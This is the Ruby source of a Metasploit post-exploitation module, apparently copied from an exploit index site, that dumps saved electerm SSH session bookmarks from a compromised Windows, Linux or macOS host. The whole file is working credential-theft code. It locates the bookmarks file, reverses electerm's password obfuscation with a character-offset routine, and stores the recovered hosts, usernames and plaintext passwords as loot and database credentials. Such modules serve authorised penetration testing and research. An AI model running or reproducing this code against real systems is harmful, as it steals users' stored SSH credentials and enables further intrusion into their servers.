Share
## https://sploitus.com/exploit?id=MSF:POST-MULTI-GATHER-ELECTERM-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gather electerm Passwords',
        'Description' => %q{
          This module will determine if electerm is installed on the target system and, if it is, it will try to
          dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
          where possible.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://blog.kali-team.cn/metasploit-electerm-6854f3d868eb45eab6951acc463a910d' ]
        ],
        'Author' => ['Kali-Team <kali-team[at]qq.com>'],
        'Platform' => [ 'linux', 'win', 'osx', 'unix'],
        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    register_options(
      [
        OptString.new('BOOKMARKS_FILE_PATH', [ false, 'Specifies the electerm.bookmarks.nedb file path for electerm']),
      ]
    )
  end

  # Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js
  def dec_electrm_password(enc)
    result = enc.chars.map.with_index do |s, i|
      ((s.ord - i - 1 + 65536) % 65536).chr
    end.join
    return result
  end

  def print_and_save(all_result)
    pw_tbl = Rex::Text::Table.new(
      'Header' => 'electerm Password',
      'Columns' => [
        'Title',
        'Type',
        'Host',
        'Port',
        'Username',
        'Password',
        'Description',
      ]
    )
    all_result.each do |value|
      next if !value.key?('username') || !value.key?('password')

      row = []
      row << value['title'] || ''
      row << value.fetch('type', 'ssh')
      row << value['host'] || ''
      row << value['port'] || ''
      row << value['username'] || ''
      row << value['password'] || ''
      row << value['description'] || ''
      pw_tbl << row
      config = {
        type: value['type'],
        host: value['host'],
        port: value['port'],
        username: value['username'],
        password: value['password']
      }
      electerm_store_config(config)
    end
    if pw_tbl.rows.count > 0
      path = store_loot('host.electerm', 'text/plain', session, pw_tbl, 'electerm.txt', 'electerm Password')
      print_good("Passwords stored in: #{path}")
      print_good(pw_tbl.to_s)
    end
  end

  def electerm_store_config(config)
    service_data = {
      address: config[:host],
      port: config[:port],
      service_name: config[:type],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      private_type: :password,
      private_data: config[:password],
      username: config[:username]
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def parse_jsonlines(line)
    result_hashmap = Hash.new
    begin
      result_hashmap = JSON.parse(line)
    rescue ::JSON::ParserError => e
      raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}"
    end
    if result_hashmap.key?('password') && result_hashmap.key?('passwordEncrypted')
      result_hashmap['password'] = dec_electrm_password(result_hashmap['password'])
    end
    return result_hashmap
  end

  def parse_json(bookmarks_path)
    some_result = []
    if session.platform == 'windows'
      bookmarks_path.gsub!('/') { '\\' }
    end
    begin
      if file_exist?(bookmarks_path)
        nedb_data = read_file(bookmarks_path) || ''
        print_error('The file could not be read') if nedb_data.empty?
        nedb_data.each_line do |line|
          some_result << parse_jsonlines(line)
        end
        credentials_config_loot_path = store_loot('host.electerm.creds', 'text/json', session, JSON.pretty_generate(some_result), bookmarks_path)
        print_good("electerm electerm.bookmarks.nedb saved to #{credentials_config_loot_path}")
        print_status("Finished processing #{bookmarks_path}")
      else
        print_error("Cannot find file #{bookmarks_path}")
      end
    rescue StandardError => e
      print_error("Error when parsing #{bookmarks_path}: #{e}")
    end
    return some_result
  end

  def get_bookmarks_path
    bookmarks_dir = ''
    case session.platform
    when 'windows'
      app_data = get_env('AppData')
      if app_data.present?
        bookmarks_dir = app_data + '\electerm\users\default_user'
      end
    when 'linux', 'osx', 'unix'
      home = get_env('HOME')
      if home.present?
        bookmarks_dir = home + '/.config/electerm/users/default_user'
      end
    end
    bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb')
    return bookmarks_path
  end

  def run
    print_status('Gather electerm Passwords')
    all_result = []
    bookmarks_path = ''
    if datastore['BOOKMARKS_FILE_PATH'].present?
      bookmarks_path = datastore['BOOKMARKS_FILE_PATH']
      print_status("Looking for JSON files in #{bookmarks_path}")
      all_result += parse_json(bookmarks_path)
    end
    if bookmarks_path.empty?
      bookmarks_path = get_bookmarks_path
      if !bookmarks_path.blank?
        result = parse_json(bookmarks_path)
        if !result.empty?
          all_result += result
        end
      end
    end
    print_and_save(all_result)
  end
end